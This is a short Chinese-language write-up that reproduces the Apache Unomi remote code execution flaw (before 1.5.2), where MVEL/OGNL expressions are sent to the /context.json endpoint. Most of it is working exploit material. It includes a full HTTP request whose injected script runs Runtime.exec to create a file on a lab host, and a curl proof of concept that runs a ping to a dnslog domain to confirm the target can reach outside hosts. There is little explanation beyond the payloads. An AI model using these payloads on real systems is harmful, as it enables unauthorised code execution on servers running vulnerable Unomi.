漏洞详情:
Apache Unomi是一个Java开源客户数据平台,是用来管理客户和访问者的数据,并个性化客户体验。由于Apache Unomi允许远程攻击者使用包含任意类的MVEL和OGNL表达式发送恶意请求,最终可导致攻击者使用Unomi应用程序权限远程执行代码。
影响版本
Apache Unomi < 1.5.2
漏洞复现
访问页面如图所示:
构造如下请求包
数据包内容
POST /context.json HTTP/1.1
Host: 192.168.174.158:9443
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 250
{
“filters”: [
{
“id”: “sample”,
“filters”: [
{
“condition”: {
“parameterValues”: {
“”: “script::Runtime r = Runtime.getRuntime(); r.exec(“touch /tmp/yesi”);”
},
“type”: “profilePropertyCondition”
}
}
]
}
],
“sessionId”: “sample”
}
进入靶机查看文件成功创建
测试2
测试成功出网
poc:
curl -X POST https://192.168.174.158:9443/context.json?sessionId=1234 -k --header ‘Content-type: application/json’ --data ‘{“filters”:[{“id”:"test2 ",“filters”:[{“condition”:{“parameterValues”:{“propertyName”:“prop”,“comparisonOperator”:“equals”,“propertyValue”:“script::Runtime r=Runtime.getRuntime();r.exec(“ping xxxx.dnslog.cn”);”},“type”:“profilePropertyCondition”}}]}],“sessionId”:“test2”}’